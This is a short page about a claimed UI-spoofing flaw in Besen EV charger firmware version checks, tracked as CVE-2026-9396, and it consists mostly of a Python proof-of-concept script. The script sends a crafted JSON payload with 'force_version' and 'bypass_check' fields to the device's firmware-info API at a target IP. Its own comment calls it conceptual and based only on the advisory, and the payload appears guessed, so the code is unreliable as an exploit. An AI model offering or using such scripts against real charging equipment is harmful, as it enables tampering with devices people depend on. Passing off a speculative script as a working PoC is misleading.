CVE-2026-9396 Besen充电桩固件版本检查UI欺骗漏洞

# PoC for CVE-2026-9396: Firmware Version Check Manipulation # This script demonstrates a potential request to manipulate the UI layer. import requests def exploit_ui_spoofing(target_ip): """ Attempts to spoof the firmware version on the target device. Note: This is a conceptual PoC based on the vulnerability description. """ url = f"http://{target_ip}/api/get_firmware_info" # Malicious headers or payload to bypass UI restrictions headers = { "User-Agent": "BesenExploit/1.0", "Content-Type": "application/json" } # Payload attempting to force a specific version display regardless of actual version payload = { "force_version": "999.999.999", "bypass_check": True } try: response = requests.post(url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent successfully to {target_ip}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit_ui_spoofing(target)